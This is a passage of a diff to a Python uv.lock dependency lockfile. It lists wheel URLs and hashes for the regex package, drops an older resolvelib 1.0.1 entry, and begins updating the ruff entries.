770278, upload-time = "2026-09-29T00:47:25.193Z" }, + { url = "https://files.pythonhosted.org/packages/24/00/aeebdb540c620a0f7317f6d6fad80a47729ecf0599a24b5c34ec155351f5/regex-2026.9.29-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:0c992c19cd45058a4b92f68f139c93db168b48fb1f322c9a7cd620806afb6b51", size = 861949, upload-time = "2026-09-29T00:47:27.005Z" }, + { url = "https://files.pythonhosted.org/packages/12/62/d0314bcedfd3586197e4596931fa220260eb2385bf53184e5b9ae67db24b/regex-2026.9.29-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ebb8912f565b8cdbbf27debfe00df04202c20e2f651b9e32767930c5eace3621", size = 796602, upload-time = "2026-09-29T00:47:29.233Z" }, + { url = "https://files.pythonhosted.org/packages/ae/c7/d5a8c13a613facb03e0fb55c1ebaaf7bb35d8e2c1abe8bef8dca809fc1d9/regex-2026.9.29-cp313-cp313-win32.whl", hash = "sha256:4d7d93613b01b0199961330e49cfc52d479b3d5776c56c691db31130c0a07d91", size = 269306, upload-time = "2026-09-29T00:47:31.14Z" }, + { url = "https://files.pythonhosted.org/packages/80/a7/bf93a3a6afa5f7bc16b7afb94ae581b01cae620b8ad56bd8f9572a985959/regex-2026.9.29-cp313-cp313-win_amd64.whl", hash = "sha256:61956f074ecd123f55adca68ee3eab46e6a07ad3f8e64e6db95dfacb444f55c4", size = 280307, upload-time = "2026-09-29T00:47:32.709Z" }, + { url = "https://files.pythonhosted.org/packages/b2/7d/388274e53605a86297f433a08102a7bbdcf9379d47683d307ccaefd88e2c/regex-2026.9.29-cp313-cp313-win_arm64.whl", hash = "sha256:bfc71e6d970419c1309b3640305298643e2a734cad3f7cfb6d2ddee4175ab53d", size = 279599, upload-time = "2026-09-29T00:47:34.674Z" }, + { url = "https://files.pythonhosted.org/packages/93/1f/d9dc6f02f569625faf67a4daec926cd5023472dcd69bb44286dccd5a5ab3/regex-2026.9.29-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:957bb708e8057ab1649ba566456429d691ec9b90d1c9ad1af1ba7ffbbeaf05f2", size = 497598, upload-time = "2026-09-29T00:47:36.541Z" }, + { url = "https://files.pythonhosted.org/packages/9c/83/9b693a3fd1451381e812031a8961ec5b3b8f0c8cc6871f14c5223642804d/regex-2026.9.29-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c9b602fae1e00b7c035d661ce85575365719192a7b46784bd71cf64c68053aa0", size = 296250, upload-time = "2026-09-29T00:47:38.233Z" }, + { url = "https://files.pythonhosted.org/packages/dd/5f/52bc2abc3fef040cd9de76ab29c918d6a717a454ae2b9dd7938b0c95656d/regex-2026.9.29-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:0166844493626c5015c6088ee15c9ca2fd060ca15b7641d1657da6a58432ae33", size = 293518, upload-time = "2026-09-29T00:47:39.957Z" }, + { url = "https://files.pythonhosted.org/packages/dc/fc/cf50671215ee0057046980b4571ef8646a005819bb67f0957e779ed107a5/regex-2026.9.29-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b97a38fb4c732b6832db6bf108963adbcd82ef1268ba2025dce390f45af75efa", size = 806037, upload-time = "2026-09-29T00:47:41.676Z" }, + { url = "https://files.pythonhosted.org/packages/14/4b/dddef8fc15c63e4347cc9efb138d0cd306f30e6c98acbcc81a8f780083b9/regex-2026.9.29-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a540abfab208e1b7ef2df231c40ef3b6cbb30a0aad6204e9b6a81c10a6794628", size = 878881, upload-time = "2026-09-29T00:47:43.755Z" }, + { url = "https://files.pythonhosted.org/packages/9f/cb/38daabed32d28f7e58a06e9344ce00dc67952e9996bc578ed6a29fe1240e/regex-2026.9.29-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ddfa987262763c3c22a8367d2a49c244b018a74c3a8e3ab1a864119ad45c5633", size = 918684, upload-time = "2026-09-29T00:47:45.594Z" }, + { url = "https://files.pythonhosted.org/packages/a9/4d/041d9458a645fee4fce4d642a89d27271a3cfcd91095104f6dde44da70bf/regex-2026.9.29-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2f7f7aa47b229f2b39a2ae2596d2ad5625d77b5eb9856fac2dab3eb506cdd0a0", size = 807176, upload-time = "2026-09-29T00:47:47.372Z" }, + { url = "https://files.pythonhosted.org/packages/bf/c4/4383eed7aa5aef67616cb1b3f3ad06b7c624c4e6cced48630cd5ce133d85/regex-2026.9.29-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d9b77b25b4f395f92de6099ab08e8ae2bc7e51dfe157f22900902243a5cc90c7", size = 784315, upload-time = "2026-09-29T00:47:49.518Z" }, + { url = "https://files.pythonhosted.org/packages/5c/a6/0086ad31cebb183c637d3198547075aa493afde308e1ff61fccccb29ba6e/regex-2026.9.29-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:34b6925af9853bf461950e6508910f179fd6e9b1a7ec8548e069606b7e51a26b", size = 793748, upload-time = "2026-09-29T00:47:51.279Z" }, + { url = "https://files.pythonhosted.org/packages/d5/a0/f9005cba3f629a859573fc5d1224ea4e1f97919ec8581d018e03a351a604/regex-2026.9.29-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:addd736a0547d553283adaf4e05d7104e7f2c7b0b092e9b4d28756825f14531f", size = 870302, upload-time = "2026-09-29T00:47:53.368Z" }, + { url = "https://files.pythonhosted.org/packages/01/4f/e1a3e46bb5315a4e18b01a990e7a28e2a16595609d50c442baf2815a3c65/regex-2026.9.29-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:fe3fa1dd453ed5c7f5ea23a26218329790ed7197a99b90e94330e313959a7f52", size = 770299, upload-time = "2026-09-29T00:47:55.606Z" }, + { url = "https://files.pythonhosted.org/packages/2c/fe/f303b4acfda44e1ff1379368748c1ef2dad04a6a8e9c0ecbc970b19d97ca/regex-2026.9.29-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:0cc63b5e47c12a48d90c7e9d7de6a035dd14f62868aaedbb4e0ff8ba2b8bfe7b", size = 861570, upload-time = "2026-09-29T00:47:57.617Z" }, + { url = "https://files.pythonhosted.org/packages/60/b6/b4f7e99249f596017c60ccad5faf9310fc8e3e59bb2244940a90a1b0bdff/regex-2026.9.29-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:724184b4aafed865e4f13ca313fdcb43024300c028ec67319cfa16847d84685e", size = 795967, upload-time = "2026-09-29T00:47:59.922Z" }, + { url = "https://files.pythonhosted.org/packages/fb/d3/fc865a4638d9f6762192b6bab5b7aa1f33a90e9e99578c2e111e2a63c8c3/regex-2026.9.29-cp314-cp314-win32.whl", hash = "sha256:c6c8fabf1dafc1f1ddcbb67896d3f93efb092e8c4b6322d7389b944e76a484e5", size = 274758, upload-time = "2026-09-29T00:48:01.8Z" }, + { url = "https://files.pythonhosted.org/packages/31/e2/c2b466924ccbeb874862968ca638051b15a8fd29d994a0e99004a5cbf78e/regex-2026.9.29-cp314-cp314-win_amd64.whl", hash = "sha256:1c2a0026062abcc321a53db4a185ceba0b59a66b5d37b0808917a88b55a5257f", size = 283817, upload-time = "2026-09-29T00:48:03.614Z" }, + { url = "https://files.pythonhosted.org/packages/c6/42/ea0f8dbaa924fa75c6338935eaee2f44dab369b27f02db1e03d74344b049/regex-2026.9.29-cp314-cp314-win_arm64.whl", hash = "sha256:121a76a0985db80ceae9e171c337f8c927868e37d01b54e3ce87bc87f9c6a208", size = 283663, upload-time = "2026-09-29T00:48:05.624Z" }, + { url = "https://files.pythonhosted.org/packages/44/48/d58e5081119f5c223bbb37d2340acde3d069e1df8e8cd166c37502eee4da/regex-2026.9.29-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:e31f72490b7c12f7790e1e25c3afffd20503ee1bfb43461d7838b871ff244b19", size = 501393, upload-time = "2026-09-29T00:48:07.833Z" }, + { url = "https://files.pythonhosted.org/packages/72/3c/c49945287d4f9efee7d41f98072f8ad880efb8f430595a612fbdea996a4e/regex-2026.9.29-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:80ea96f5c1a30bf09007d48466521d9c294bebe197c708c3359096e3e3691632", size = 298237, upload-time = "2026-09-29T00:48:09.684Z" }, + { url = "https://files.pythonhosted.org/packages/f9/1f/688cb61c3d4cf7bcc1ed444b5cc49399eba3e51c469ae285cf87fea3022e/regex-2026.9.29-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:554bffadcbcb6d5f4e5fb10a61cc52084b9a63d1dab5f10bcd2c4343972e8e2c", size = 295936, upload-time = "2026-09-29T00:48:11.454Z" }, + { url = "https://files.pythonhosted.org/packages/26/a3/de43ac6b877b7d09c19a3a426b1bd5acdd209eaaf68f406466f80439ccf6/regex-2026.9.29-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:864e9b87ac33c3fb9fb4ad48166d4fdb579c351d5c77deb0d34bccb36a775cd9", size = 816905, upload-time = "2026-09-29T00:48:13.321Z" }, + { url = "https://files.pythonhosted.org/packages/62/14/9940763201c51d537786304984c67d0fc3d2ed18837ffb6f09a869f6b6c9/regex-2026.9.29-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:044265d77d94f5e3cb2fd72c76723807c429cb8c533e9d4672d0334a6f14f588", size = 881527, upload-time = "2026-09-29T00:48:15.313Z" }, + { url = "https://files.pythonhosted.org/packages/d3/e1/c842d8df0b23245ebf202f8ab9c39fd48e2db39959454ec39a41c8c72082/regex-2026.9.29-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2089fe39c406784d90101c726755ffa1497bb74638fd434300d2b88006186de8", size = 923115, upload-time = "2026-09-29T00:48:17.328Z" }, + { url = "https://files.pythonhosted.org/packages/d8/c1/98622479e3c354a446a75232e522d747d2b3df23092dcd8a5309380a2020/regex-2026.9.29-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0def9fb6abac55492d6d51cddb7225d07d6f279e774e0adc08569a54a5fc8d46", size = 820674, upload-time = "2026-09-29T00:48:19.32Z" }, + { url = "https://files.pythonhosted.org/packages/6c/d0/5808c95f9c79ed27b5eedaafc3df6239ec56a49f2e23ea8f831b18427c82/regex-2026.9.29-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:888d60953908dcf761aa320c3e390ab8556efbdb551ace63921de90f6ae0848d", size = 793306, upload-time = "2026-09-29T00:48:21.615Z" }, + { url = "https://files.pythonhosted.org/packages/bf/d3/021ca2638671ad20603bcd9b4d5bfa35d2610cd216a043ea7f0b44ea39f6/regex-2026.9.29-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:ed511a0708e2297e1d6431e7fb217e3402791e491e02da800658ace4973df1bb", size = 803103, upload-time = "2026-09-29T00:48:23.871Z" }, + { url = "https://files.pythonhosted.org/packages/6b/2d/755c6d13ef9c657378013676c391c7a402166b3f419a464a3e058dcbe533/regex-2026.9.29-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:e1172147d28d8fbcf8cb8d26c41506169f5ad8fe9ec969cb116835a19d4d8eca", size = 872175, upload-time = "2026-09-29T00:48:26.255Z" }, + { url = "https://files.pythonhosted.org/packages/6c/fc/e1cab183b9dafe8597f58c1c766da9bf96204d3b2f232bcf3eeb75ff7b6c/regex-2026.9.29-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:92f05c9c42bde5785dc48770bc2194d9f7442544156f951e19cd31b096cec562", size = 777362, upload-time = "2026-09-29T00:48:28.389Z" }, + { url = "https://files.pythonhosted.org/packages/06/7c/e10ea17fba31fb4a1f9d13ed53a2d2a9066a2aea58d7557e263f6d99e7b0/regex-2026.9.29-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:f37964e4a5e993d2fd45147741e9dff7f34a2d8c00ab94c4ea0514a4677f959e", size = 865606, upload-time = "2026-09-29T00:48:30.4Z" }, + { url = "https://files.pythonhosted.org/packages/8e/6e/69824d9aee1fd41c54ea7264654a47c8d9d84d8a228e11c2bcf4c201ed81/regex-2026.9.29-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:951733b1bbdb71e377cec567b409f1a7881b47cfcad84121aa74cb575fa425ea", size = 807945, upload-time = "2026-09-29T00:48:32.375Z" }, + { url = "https://files.pythonhosted.org/packages/89/22/857050a86e21ce60193e02a8ef662521f2e263a645c8b1b905fc136b61a7/regex-2026.9.29-cp314-cp314t-win32.whl", hash = "sha256:65b408d8fcb273e3499e7ef2ce796810da1becd208c7fb4373692a242d79d461", size = 276758, upload-time = "2026-09-29T00:48:34.72Z" }, + { url = "https://files.pythonhosted.org/packages/4d/96/56808fe029553d7d4c703414f2a527faad2ea2bfa9ca094a2e7f8762b530/regex-2026.9.29-cp314-cp314t-win_amd64.whl", hash = "sha256:bf48516e35cf848390ea68850aba53e7c333720d2945b4d2c25b69fc5171723f", size = 286527, upload-time = "2026-09-29T00:48:36.864Z" }, + { url = "https://files.pythonhosted.org/packages/01/aa/074e2cfb3d8101a6a764aba5f7c5d1e21de087483e35bdc0c4ce2eb60364/regex-2026.9.29-cp314-cp314t-win_arm64.whl", hash = "sha256:9173db3be74a35cb6731701094b98120f7ee4876a287882a59cdea1fa7da342f", size = 285954, upload-time = "2026-09-29T00:48:38.901Z" }, + { url = "https://files.pythonhosted.org/packages/a7/dc/d84990386c9dfdf8c377f00f371b241fdc9a2c8aea0e3d66941b2e51be0b/regex-2026.9.29-cp315-cp315-macosx_10_15_universal2.whl", hash = "sha256:c3589f40749acce747510bf5d589d54e376cb0930ea58b35effac97e5312b0c1", size = 497836, upload-time = "2026-09-29T00:48:40.858Z" }, + { url = "https://files.pythonhosted.org/packages/c2/ab/a569ebde875fa12ff8c6c9a30e07503620f195e4be4d54c3d3ee8eecc283/regex-2026.9.29-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:32ab11df9677ca80bcbb5fe4eb1da9109a5019239a054836efc6fa1c64e683cf", size = 296244, upload-time = "2026-09-29T00:48:42.952Z" }, + { url = "https://files.pythonhosted.org/packages/f3/3e/7d548e82a108e7c8b2d5246650e397a2f8db599f9b2e975466939c5b4e70/regex-2026.9.29-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:7c03031610e3e6ed1768a2b7a8fc84637c1257b50c5eacaf094c6e17a84fc563", size = 293748, upload-time = "2026-09-29T00:48:44.985Z" }, + { url = "https://files.pythonhosted.org/packages/40/34/a8e19a52f452bbb07b32a2bef70dcdf90c2737049749f74cc12d7486fb4f/regex-2026.9.29-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:42e82e578c904445d4c8a35b8f28052cf567593215fa5db06266fbc6f77aaa2e", size = 807840, upload-time = "2026-09-29T00:48:46.948Z" }, + { url = "https://files.pythonhosted.org/packages/88/7b/11fbd4640b3bb82b72822a63c20ade4013d562d291703a9debeedc24e682/regex-2026.9.29-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0b65c72739f981377c9c22e0c5c3cd7f42da7bd8a3c9209330fac772c7d893ed", size = 879330, upload-time = "2026-09-29T00:48:49.168Z" }, + { url = "https://files.pythonhosted.org/packages/f3/55/de58c74f1f4e31586d83eb39c56872d686c4e0d0966d151884c833b94ced/regex-2026.9.29-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4408b2b27a95ca8cc48b7411945753773353b5c93b307754781086c99d3a576f", size = 919251, upload-time = "2026-09-29T00:48:51.322Z" }, + { url = "https://files.pythonhosted.org/packages/81/42/a8c480f6dd5ac59fa28ddae79afd9d7ac7e596fdb61813adc65bb6e674b8/regex-2026.9.29-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a714befaacbd10092ffe4cea0d3c5f008fb9efe9bc322c715bcdfdee414b9a3d", size = 808808, upload-time = "2026-09-29T00:48:53.529Z" }, + { url = "https://files.pythonhosted.org/packages/68/60/0bc0d1ec8b37ad64be6fa30e035251f11de9667a0fac9e82ee74517d81be/regex-2026.9.29-cp315-cp315-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:33026515aebc0e70d1c89978e53e8d695d35d9e472f8d5b34465ba3c74028650", size = 789907, upload-time = "2026-09-29T00:48:56.036Z" }, + { url = "https://files.pythonhosted.org/packages/da/84/116a3ef19b3acfe81077f0bf2cbc7714a5e94bc8935b7243ab61cb0f1c3c/regex-2026.9.29-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:31b003f9a070335e2a8233ee9b14a3ca8e6d792012ae011f741bf0aaf11744c5", size = 795770, upload-time = "2026-09-29T00:48:58.284Z" }, + { url = "https://files.pythonhosted.org/packages/96/ba/e38c3f203e7e7e18c957d48e6cb6dbf96c11e95a44efa4a480522afc5d6d/regex-2026.9.29-cp315-cp315-musllinux_1_2_ppc64le.whl", hash = "sha256:c03c6eb6ece86dfdcbb34799efaa339b093132e1aceed491ba5e08fe06cdf699", size = 870671, upload-time = "2026-09-29T00:49:00.506Z" }, + { url = "https://files.pythonhosted.org/packages/2f/0f/9ee0b0cb76c55f63684bd7fff554978e8773b4fc86e2bcb2d50772dc1086/regex-2026.9.29-cp315-cp315-musllinux_1_2_riscv64.whl", hash = "sha256:a5300757f8a68f5b6cc33f57338d72a0e3589c5cc9ad5f8504ea06f028be582a", size = 778631, upload-time = "2026-09-29T00:49:02.984Z" }, + { url = "https://files.pythonhosted.org/packages/b6/19/e6e3eeb226af5872c4958002f6edef4e4f40ea4cc5f5665023f2019eb045/regex-2026.9.29-cp315-cp315-musllinux_1_2_s390x.whl", hash = "sha256:80c7cadd3fd2bfde5df8aa0787e315812cad0c313a753095d02f4c2b6c01677b", size = 862187, upload-time = "2026-09-29T00:49:05.264Z" }, + { url = "https://files.pythonhosted.org/packages/5b/62/823c102e106bb2711d6b7dfe5981552fe4467b2969c46a20c5c383cf498c/regex-2026.9.29-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:3f1e6cb402a89457582cd696f982559217d13484a193202c394015297968c86d", size = 798423, upload-time = "2026-09-29T00:49:07.644Z" }, + { url = "https://files.pythonhosted.org/packages/37/e0/e927776258fa70b2f6feffc3be584ffc85ba4c1e20a320f0aee9a632fc7d/regex-2026.9.29-cp315-cp315-win32.whl", hash = "sha256:a64b85a4760337cfefdb27d42da6ed8b58e8cde3f2d57b6ef43e76ef6ea9ef47", size = 274757, upload-time = "2026-09-29T00:49:10.513Z" }, + { url = "https://files.pythonhosted.org/packages/77/04/358de85d1860238e1b4fa98fc2c80c990124a25d2e14739e28cc02c25562/regex-2026.9.29-cp315-cp315-win_amd64.whl", hash = "sha256:b3e445b66c80b4eb4234e855ce94d9adc183eedbd632816228d89930b91b2c5b", size = 283824, upload-time = "2026-09-29T00:49:12.849Z" }, + { url = "https://files.pythonhosted.org/packages/92/d3/d5c5b264784a5ab2b0f8cf620c1eeb4dbf3440d306761905e7d99345bef5/regex-2026.9.29-cp315-cp315-win_arm64.whl", hash = "sha256:8f39588af4731c8923c26810eb3b33f76f17633985e40f59c3cd45a33805a895", size = 283664, upload-time = "2026-09-29T00:49:15.331Z" }, + { url = "https://files.pythonhosted.org/packages/02/dc/f63ec2c201445ce1150fe780f5c56f16a10124d9a9da3a93161dbb0d8892/regex-2026.9.29-cp315-cp315t-macosx_10_15_universal2.whl", hash = "sha256:fb99cc9d45f48895d9d67f6a0b8a57f08d39c174d9f25ad97a313e0470267b1c", size = 501549, upload-time = "2026-09-29T00:49:17.705Z" }, + { url = "https://files.pythonhosted.org/packages/9a/5c/d2a698dc6bfc11fbce03f1cb0249c13284e93b79ed11f893edf6fac431c9/regex-2026.9.29-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:720537c7ea6f80dc61913184edb0ce2497a306b39ef19f28505b322553d52bdb", size = 298187, upload-time = "2026-09-29T00:49:20.171Z" }, + { url = "https://files.pythonhosted.org/packages/85/b7/88dcdb38cd3935d4ee9e9ce9b8e56cb3b3518d1f020acfa7dd62ad289bf8/regex-2026.9.29-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:0fd2c901cc307a745ad4bc87f20060d7a0825a3371d1e93488af22e7a387f78f", size = 296157, upload-time = "2026-09-29T00:49:22.342Z" }, + { url = "https://files.pythonhosted.org/packages/d3/8e/ba6c01dde33a69fc294b38b43f6677baaa5735a6248f39708031a738158a/regex-2026.9.29-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b11b589e00095ec69cf79841a76360f9b079e95b0368a25b5ebb951ab0c157ff", size = 818468, upload-time = "2026-09-29T00:49:24.612Z" }, + { url = "https://files.pythonhosted.org/packages/2a/f1/2586693e3a2d6b1247852593d37a6c17b42a92ee44f7cdcb9a0c1494e64a/regex-2026.9.29-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d7cab119d0df0b9413f106b4d7fc34f2872d3574ed3806fb48959c830b1537da", size = 882825, upload-time = "2026-09-29T00:49:26.996Z" }, + { url = "https://files.pythonhosted.org/packages/30/51/084f3e7bdcd0e9c33665c938cf5d134dc3548cbb4a75f0197ec7bfd754b1/regex-2026.9.29-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b89efc38431793d28b7cd91227e2f952ad7c48df19132b17f43a5fec3c14143b", size = 923314, upload-time = "2026-09-29T00:49:29.822Z" }, + { url = "https://files.pythonhosted.org/packages/5a/f1/066c6fc23b7dc229789c21c880b5ba5ad689fb95fed12e078266f55a1f9b/regex-2026.9.29-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:80a5ea3b4fd9d6a5b9a44f7976a9acaaab35aa3c1f6b29e5bd857dfabaded223", size = 822222, upload-time = "2026-09-29T00:49:32.404Z" }, + { url = "https://files.pythonhosted.org/packages/0a/56/592cd46fdb8f2f8682a1d7fd1310e4d0bcb93fbd0e6bbe4141ac28240227/regex-2026.9.29-cp315-cp315t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:19959129885356df0e97556856f77eb2888380dac18bed075a7c05c5128c618d", size = 794882, upload-time = "2026-09-29T00:49:35.076Z" }, + { url = "https://files.pythonhosted.org/packages/ee/4d/d65384bb071c864b01aa8314e3a6a687845ebd57588390976edc960c218b/regex-2026.9.29-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:6a1a824fbed817e0a891103886b68f063b1e83cc51bc97192a90a60195a9291f", size = 805887, upload-time = "2026-09-29T00:49:37.395Z" }, + { url = "https://files.pythonhosted.org/packages/65/b6/358de0d8f40d5178e4f7e7e121cfd5b961c812b77a055d11f5079e3f8fd7/regex-2026.9.29-cp315-cp315t-musllinux_1_2_ppc64le.whl", hash = "sha256:1ba8c6a416569ce0d37e83e28a254a61dc99a419084dfb6476cea02d997f74fa", size = 872901, upload-time = "2026-09-29T00:49:39.927Z" }, + { url = "https://files.pythonhosted.org/packages/00/06/6bfded72d043240c6b52bbb5e16f639d81affbf7484b4fe2ec45f3d4afc9/regex-2026.9.29-cp315-cp315t-musllinux_1_2_riscv64.whl", hash = "sha256:446654b29bfaa30500d80947eda42cef1449dc8a87f4e3cf061cc8485d3a1f0b", size = 782970, upload-time = "2026-09-29T00:49:42.581Z" }, + { url = "https://files.pythonhosted.org/packages/5a/20/9f418a50baa78b3ed8308fcb0cc49e472dd000b7ef935a7295af202ea744/regex-2026.9.29-cp315-cp315t-musllinux_1_2_s390x.whl", hash = "sha256:bf3c49863c23a1ad6da9c30351aed6cff8d5ddbeb63c5c8420ae54e98c7d0138", size = 865441, upload-time = "2026-09-29T00:49:45.238Z" }, + { url = "https://files.pythonhosted.org/packages/2c/29/817c7eacdeaf8463123e949bd394c39ad024eea1ec38ddf5ad141da2f3bd/regex-2026.9.29-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:01000ddf0e3ffef97f2413ceb514f6313040106b6d18a03ee00a4fe35c1eb1db", size = 809431, upload-time = "2026-09-29T00:49:47.878Z" }, + { url = "https://files.pythonhosted.org/packages/63/0b/83aab3b5b739947f744135a7a3a446e25433ebc92b05e01aae197ccbfdda/regex-2026.9.29-cp315-cp315t-win32.whl", hash = "sha256:c4e38dd8f39c43a91d2410ad2b85610701b0979342c3df1d69eaf8e838c757d8", size = 276964, upload-time = "2026-09-29T00:49:50.524Z" }, + { url = "https://files.pythonhosted.org/packages/72/f2/6314b5fc68789b5dcc38885bc6e3d6986b34fb3372b7231088ee5cecaa05/regex-2026.9.29-cp315-cp315t-win_amd64.whl", hash = "sha256:e2c89e9b762c57f59d5e99ee8b20202adb892e35f8d3485741340999ca55058e", size = 286487, upload-time = "2026-09-29T00:49:53.224Z" }, + { url = "https://files.pythonhosted.org/packages/56/bc/97b2245c8c7b2dd01f2db74f2bea003cd33c15009b4996a2447f46b5325c/regex-2026.9.29-cp315-cp315t-win_arm64.whl", hash = "sha256:e8c65ef3862a8ad6e86492b6ed9327805dd66904c012bd3649dc67d822ed6c34", size = 285955, upload-time = "2026-09-29T00:49:55.655Z" }, ] [[package]] @@ -2899,26 +2511,10 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/e1/d5/de8f089119205a09da657ed4784c584ede8381a0ce6821212a6d4ca47054/requests_file-3.0.1-py2.py3-none-any.whl", hash = "sha256:d0f5eb94353986d998f80ac63c7f146a307728be051d4d1cd390dbdb59c10fa2", size = 4514, upload-time = "2025-10-20T18:56:41.184Z" }, ] -[[package]] -name = "resolvelib" -version = "1.0.1" -source = { registry = "https://pypi.org/simple" } -resolution-markers = [ - "python_full_version < '3.11'", -] -sdist = { url = "https://files.pythonhosted.org/packages/ce/10/f699366ce577423cbc3df3280063099054c23df70856465080798c6ebad6/resolvelib-1.0.1.tar.gz", hash = "sha256:04ce76cbd63fded2078ce224785da6ecd42b9564b1390793f64ddecbe997b309", size = 21065, upload-time = "2023-03-09T05:10:38.292Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/d2/fc/e9ccf0521607bcd244aa0b3fbd574f71b65e9ce6a112c83af988bbbe2e23/resolvelib-1.0.1-py2.py3-none-any.whl", hash = "sha256:d2da45d1a8dfee81bdd591647783e340ef3bcb104b54c383f70d422ef5cc7dbf", size = 17194, upload-time = "2023-03-09T05:10:36.214Z" }, -] - [[package]] name = "resolvelib" version = "1.2.1" source = { registry = "https://pypi.org/simple" } -resolution-markers = [ - "python_full_version >= '3.12'", - "python_full_version == '3.11.*'", -] sdist = { url = "https://files.pythonhosted.org/packages/1d/14/4669927e06631070edb968c78fdb6ce8992e27c9ab2cde4b3993e22ac7af/resolvelib-1.2.1.tar.gz", hash = "sha256:7d08a2022f6e16ce405d60b68c390f054efcfd0477d4b9bd019cc941c28fad1c", size = 24575, upload-time = "2025-10-11T01:07:44.582Z" } wheels = [ { url = "https://files.pythonhosted.org/packages/e2/23/c941a0d0353681ca138489983c4309e0f5095dfd902e1357004f2357ddf2/resolvelib-1.2.1-py3-none-any.whl", hash = "sha256:fb06b66c8da04172d9e72a21d7d06186d8919e32ae5ab5cdf5b9d920be805ac2", size = 18737, upload-time = "2025-10-11T01:07:43.081Z" }, @@ -2939,111 +2535,122 @@ wheels = [ [[package]] name = "ruff" -version = "0.16.2" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/73/e1/4508a569211b35599016e84ba65c1a992b7a4004b4b6c4bea02a851cba1b/ruff-0.16.2.tar.gz", hash = "sha256:c3d7828d12e8927a6fc65fe38e2c2541b9e762d360a1786d752cb1b8883b3c9c", size = 4885811, upload-time = "2026-08-07T13:31:01.432Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/14/57/db19951540f98859c956b50bdb4d31089b4d91e9f15e2968e7d5193806d5/ruff-0.16.2-py3-none-linux_armv6l.whl", hash = "sha256:3c8de4cf2181f01d57946d87d777aa52916976fc09942aed89938fab5e013318", size = 10847925, upload-time = "2026-08-07T13:30:14.468Z" }, - { url = "https://files.pythonhosted.org/packages/13/5a/995fe85a8470d3e391ac0f7fa8054bb454eaf33ee138196d6172ed1079c0/ruff-0.16.2-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9a48cc05c6fbc811ca81b5d7ba95375affea6582d1b8024e455e41afbbf55344", size = 11072662, upload-time = "2026-08-07T13:30:18.143Z" }, - { url = "https://files.pythonhosted.org/packages/32/53/370d767c61c71a971a4ace36703a7ecd8c393956349a7325d7fab2b56827/ruff-0.16.2-py3-none-macosx_11_0_arm64.whl", hash = "sha256:a2c0d14fcbb26c91f0f867a6dc9bd71bbc30b1b6151829c884f23faeab2e5700", size = 10566771, upload-time = "2026-08-07T13:30:20.899Z" }, - { url = 